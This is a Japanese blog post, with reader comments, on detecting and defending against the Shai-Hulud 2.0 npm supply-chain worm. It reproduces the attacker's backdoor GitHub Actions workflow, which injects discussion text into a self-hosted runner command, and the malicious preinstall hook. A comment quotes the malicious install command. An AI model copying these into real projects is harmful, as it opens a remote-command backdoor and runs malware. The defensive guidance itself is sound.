【npm】11月21日以降にnpm installした人へ - Shai-Hulud感染チェック & 多層防御ガイド
npm史上最悪のサプライチェーン攻撃「Shai-Hulud 2.0」。正規パッケージのメンテナー認証情報を盗み、悪意あるバージョンをnpmに公開するという手口で、11月21日から急速に拡散しました。
この記事では2つのことを解説します:
- 自分が被害にあっていないか確認する方法
- 今後の被害を防ぐ多層防御アプローチ
*この記事と同じ内容を動画でも解説していますので、動画の方が好きな方は下記からどうぞ
被害確認 - あなたは大丈夫か?
Shai-Hulud 2.0は11月21日から急速に拡散しました。この日以降にnpm installを実行した人は、感染の可能性があります。
チェック1: GitHubアカウントの確認(ブラウザで完結)
確認ポイント1: 見覚えのないリポジトリ
まずGitHubで自分のリポジトリ一覧を確認。
Shai-Huludは感染したアカウントにランダムな名前のパブリックリポジトリを作成し、窃取した認証情報を公開します。
https://github.com/[あなたのユーザー名]?tab=repositories
descriptionに「Sha1-Hulud: The Second Coming」という文字列が含まれていたら確実にアウトです。これは攻撃者が窃取した認証情報を公開する際に付ける名前。

上記はアウトな例。不審なレポジトリがないかチェックしましょう。
確認ポイント2: 不審なワークフローファイル
GitHubのコード検索で、自分のリポジトリ内に discussion.yaml がないか確認。
https://github.com/search?q=owner%3A[あなたのユーザー名や組織名]+path%3A.github%2Fworkflows%2Fdiscussion.yaml&type=code
この discussion.yaml は感染時にGithub Actionsに追加されるワークフローです。被害者のマシンはCI/CDランナーが多いとのことで、メインの被害はこちらですので、確実にチェックしておいた方が良いでしょう。

不審なファイルがあったらアウトです。セルフホストランナー経由で任意のコマンドを実行するためのバックドアですが設置されています。
具体的には下記のようなワークフローでGithub リポジトリでディスカッションを開始することで、感染したマシン上で任意のコマンドを実行できるようになるファイルが確認されています。
name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}
確認ポイント3: セルフホストランナー
各リポジトリの Settings → Actions → Runners を開いて、「SHA1HULUD」という名前のセルフホストランナーが登録されていないか確認。
ここに自分のPCがあったら感染しています。即座に削除して、全認証情報をローテーションしてください。
チェック2: ローカル環境の確認
npmプロジェクトがある開発ディレクトリ等で以下のファイルを検索。
| ファイル名 | 説明 |
|---|---|
setup_bun.js |
ドロッパー |
bun_environment.js |
メインペイロード(10MB以上の難読化ファイル) |
cloud.json |
AWS/GCP/Azure認証情報 |
environment.json |
環境変数 |
actionsSecrets.json |
GitHub Actions シークレット |
これらはShai-Hulud 2.0のペイロードが生成するファイルです。見つかったら感染したパッケージをインストールしているということになります。
find . -type d -name "node_modules" -newermt "2025-11-20" -prune 2>/dev/null \
| xargs -I {} find $(dirname {}) -name "setup_bun.js" -o -name "bun_environment.js" \
-o -name "cloud.json" -o -name "actionsSecrets.json" 2>/dev/null | uniq
チェック3: npmパッケージの確認(パッケージ公開者向け)
個人や会社でnpmにパッケージを公開している場合、パッケージのバージョン履歴を確認しましょう。
2025 年 11 月 21 日以降に、公開した覚えのないバージョンがないか?
npm view [あなたのパッケージ名] time
公開時刻が出るので、身に覚えのない時刻のものがあれば要注意。
被害が確認できた場合
即座に以下を実行:
- 全トークンのローテーション - npm、GitHub、AWS、GCP、Azureなど
- 不審なリポジトリの削除
- セルフホストランナーの削除
- ワークフローファイルの削除
- プライベートリポジトリの公開設定確認 - 強制的にパブリック化されていないか
防御方法 - 多層防御アプローチ
Shai-Hulud型攻撃の特徴:
- 正規パッケージのメンテナー認証情報が盗まれる
- 悪意あるバージョンがnpmに公開される
- 既存ユーザーがnpm install / npm updateで感染する
つまり、これまで普通に使用していたライブラリが突然攻撃の入口に変わるということです。
考え方としては、
- 入れない - 怪しいパッケージをそもそもインストールさせない
- 実行させない - 入ってしまっても悪意あるコードを動かさない
- 見逃さない - 既知の脆弱性を継続的に検知する
下記の3層で考え、守り方をみていきます。
| 層 | 対策 | 内容 | 防御対象 |
|---|---|---|---|
| 層1 | 入れない | minimum-release-age | ゼロデイ攻撃 |
| 層2 | 実行させない | ignore-scripts | 悪意あるスクリプト実行 |
| 層3 | 見逃さない | SCAツール | 既知の脆弱性 |
層1: minimum-release-age — 改ざんパッケージ拡散の抑制(サプライチェーン攻撃対策)
SCAツールは「既知の脆弱性」しか検知できない。
誰かが脆弱性を発見して、Advisoryを発行して、データベースに登録されて初めて検知するためです。
Shai-Huludのような まだAdvisoryに載っていない改ざんパッケージに関して、 攻撃が発覚するまでSCAツールは無力。
じゃあどうするか? 時間を味方につける。
pnpmユーザー向け: minimumReleaseAge
pnpm-workspace.yaml にこの設定を追加:
minimumReleaseAge: 2880
これは例ですが、「公開から2880分(2日)経ってないバージョンはインストール拒否」という設定。値は分単位で指定。
なぜこれがゼロデイ対策になるか?
Shai-Hulud 2.0を例に考えてください。攻撃が発覚するまで数日でした。悪意あるパッケージは、多くのケースで公開から数日以内にコミュニティやセキュリティ研究者が発見します。
2,3日待てば、多くの攻撃は既に検知・公表されている。Advisoryも発行されている可能性が高い。
つまり、数日間のバッファを設けることで、「ゼロデイ期間」を避けられる。
npm/yarn/bunユーザー向け: Aikido Safe Chain
「pnpm使ってないんだけど」という人。
Aikido Safe Chain があります。npm、yarn、pnpm、bun全てに対応。
# インストール
npm install -g @aikidosec/safe-chain
# シェル統合のセットアップ
safe-chain setup
# ターミナル再起動後、通常通りnpmを使うだけ
npm install express
Aikido Safe Chainは2つの機能を持っています:
- 24時間ルール: デフォルトで公開から24時間以内のパッケージはインストールをブロック(もちろん設定で24時間以外に設定することも可能です。)
- マルウェア検知: Aikido Intelデータベースに対してリアルタイムで検証
無料で、トークンも不要で簡単に使えますし、CI/CDにも簡単に組み込めます。
- name: Setup safe-chain
run: |
npm i -g @aikidosec/safe-chain
safe-chain setup-ci
- name: Install dependencies
run: npm ci
層2: ignore-scripts - 最終防衛線
minimum-release-ageで待っても、攻撃が発覚しなかったら?
緊急で新しいバージョンをインストールしなければならなかったら?
このようなケースでどうしても悪意のあるライブラリが入ってしますケースはあるかと思います。そのときの最終防衛線が ignore-scripts。
Shai-Hulud 2.0は preinstallスクリプトを起点として感染します。
{
"scripts": {
"preinstall": "node setup_bun.js"
}
}
npm installを実行した瞬間、悪意のあるコードがあなたのマシンで実行されるわけですが、.npmrc に
ignore-scripts=true
の設定を追加することで、たとえ悪意あるパッケージをインストールしてしまっても、preinstallスクリプトは動きません。パッケージのコードは入るけど、実行はされないというわけです。
これが最終防衛線。
この設定は下記の OWASPが公開しているNPMベストプラクティスというドキュメントにも記載されています。
OWASP NPM Security Cheat Sheet
「でもネイティブモジュールのビルドは?」
「ignore-scriptsを有効にしたら、ネイティブモジュールが動かなくなるのでは?」
bcrypt、sqlite3、sharpなどのネイティブモジュールは、postinstallスクリプトでC/C++コードをコンパイルします。これらは確かにスクリプト実行が必要です。
しかし、実はnpmレジストリのほとんどのパッケージはインストールスクリプトを必要としません。
解決策は「ホワイトリスト方式」。デフォルトで全てブロックし、必要なパッケージだけ許可するというアプローチです。
ホワイトリスト方式の実装
pnpm v10の場合(デフォルトで安全)
pnpm v10から、依存パッケージのライフサイクルスクリプトはデフォルトで実行されなくなりました。
- 自分のプロジェクトのスクリプト → 実行される
- 依存パッケージのスクリプト → デフォルトで実行されない
ネイティブモジュールを使う場合は、package.json で許可するパッケージを指定:
{
"pnpm": {
"onlyBuiltDependencies": ["esbuild", "sharp"]
}
}
npmの場合(@lavamoat/allow-scripts)
npmで同じことをやるには、@lavamoat/allow-scripts を使います。OWASP NPM Security Cheat Sheetでも紹介されている方法です。
npm install @lavamoat/allow-scripts
{
"lavamoat": {
"allowScripts": {
"sharp": true,
"bcrypt": true
}
}
}
層3: SCAツール - 既知の脆弱性を検知する
OSV-Scanner
OSV-Scanner は、Googleが運営するOSV(Open Source Vulnerabilities)データベースを使った脆弱性スキャナー。
npm auditと何が違うか?
npm auditはnpmのAdvisory DBしか見ません。OSV-Scannerは、GitHub Advisory、NVD、その他複数のソースを統合したデータベースを使います。カバー範囲が広い。
しかも完全にオープンソースで無料。
# インストール
brew install osv-scanner
# スキャン
osv-scanner --lockfile package-lock.json
CI/CDに組み込むのも簡単:
- name: Run OSV-Scanner
uses: google/osv-scanner-action@v1
with:
scan-args: --lockfile package-lock.json
プルリクエストごとにスキャンを走らせれば、脆弱性のあるパッケージがマージされる前に検知できます。
まとめ
やることは3つ:
| 優先度 | 対策 | ツール |
|---|---|---|
| 1 | 新しすぎる or 怪しいパッケージをブロック | Aikido Safe Chain |
| 2 | インストールスクリプトを無効化 | npm: ignore-scripts + @lavamoat/allow-scriptspnpm v10: デフォルト |
| 3 | 継続的にスキャン | OSV-Scanner |
完璧な防御は存在しませんが、いくつかの対策を組み合わせることで攻撃の可能性を大幅に減らすことができます。
最後までお読みいただきありがとうございました。
セキュリティを意識した開発方法を身につけていくための情報発信していますので、フォローよろしくお願いします!!
X: https://twitter.com/labelmake
Youtube: https://www.youtube.com/@kyohei_dev
それでは良きプログラミングライフを👋
参考リンク
- OSV-Scanner
- Aikido Safe Chain
- @lavamoat/allow-scripts
- Wiz Blog - Shai-Hulud 2.0
- OWASP NPM Security Cheat Sheet
- pnpm minimumReleaseAge
更新情報
- 2025/12/05: https://zenn.dev/saku_238 さんのコメントを元に更新
- 2025/12/05: https://zenn.dev/yutaosawa さんのコメントを元に更新
Discussion
npm を使っていなければ問題ないと考える方が出てくるかと思いますが、今回は Cursor などのエディタ拡張に悪意のあるコードを混ぜられて、 Cursor を起動するだけで勝手に拡張がアップデートされて感染するという経路がありました。
詳しくはこちらにまとまっています (報告者は僕です)
この拡張の中で
npm install github:asyncapi/cli#2efa4dff59bc3d3cecdf897ccf178f99b115d63dが実行され、開発環境のエディタという比較的強い権限で動作しているプロセスからマルウェアが実行されるという形です。この件に関しては Async API チームの GitHub Actions の設定が緩くて、信頼できない外部のコミットを Async API チームのワークスペースの Actions において実行可能であった結果 Secret が奪取できる状態にあり、その中に OpenVSX のトークンがあったのが原因だったようです。
Cursor など、最近流行りの VSCode フォークな AI エディタを使っているだけで被害を受ける可能性があり、沈静化の傾向は見えつつありますが、まだ被害は拡大している現状を鑑みて、注意喚起になればとコメント残しておきます。
教えてくれてありがとうございます〜
そして発見と報告お疲れ様です。(すごい)
え、、?影響範囲ー、、。
あとでじっくり確認させていただきますが、取り急ぎお礼を。
また何かあればお気軽にコメントください!
pnpmの設定はpackage.jsonはpnpm-workspace.yamlにかけるからそっちの方が見やすいかも!
あー、つまり設定全てをpnpm-workspace.yamlに一元管理できるということ??
とても参考になる記事でした!ありがとうございます。
冒頭で
と整理されていたので、層1を「ゼロデイ対策」と表現すると、脆弱性起点の攻撃として誤読される可能性もありそうだなと感じました。
minimum-release-age は、自分の理解では「改ざんされたパッケージの拡散を抑制する」ようなサプライチェーン攻撃対策として紹介すると、文脈的にもスッと入ってきそうだと思いました。
例えば以下の表現はどうでしょうか?
あわせて、下記の一文も
「ゼロデイ攻撃」というより、「まだAdvisoryに載っていない改ざんパッケージ」などの表現にすると、SCAツールとの関係もよりクリアに伝わりそうだなと感じました。
素晴らしい内容だったので、もしご参考になればうれしいです!
コメントありがとうございます!
おっしゃる通りです、そちらの方が全体の流れとして誤解なく自然流れです...!
アドバイスをもとにできるだけ早く修正したいと思います🙇
こちら対応させていただきました!ありがとうございます!
確認方法をまとめていただきありがとうございます!
「ローカル環境の確認」にて示されていたコマンドを各プロジェクトで確実に実行するために、ワンライナーを書いてみたので、参考になればと思います。
作業スペースのトップで実行することで 2025-11-20 移行に更新された node_modules を含むディレクトリに対して、該当の検索コマンドをすべて実行するものです!
ありがとうございます!!
かなり効率的になってますね、こちらの方が私が書いたものよりも良いので本文に反映させていただきます!!
有益な記事ありがとうございます!
12月3日にリリースされた safe-chain の
v1.2.0でインストール方法が更新(追加)されていたので、その共有をしたくコメントさせていただきました。v1.2.0のリリースノートは、以下になります。このバージョンからシステム上で直接実行できる形式でも配布されるようになっています。
READMEを確認すると、インストール方法がnpmからcurlに変更されていました。CI/CDもcurlでのインストールに更新されています。以上です!
動画も分かりやすくて参考になりました!
おお、ナイスキャッチです!!
ありがとうございます😊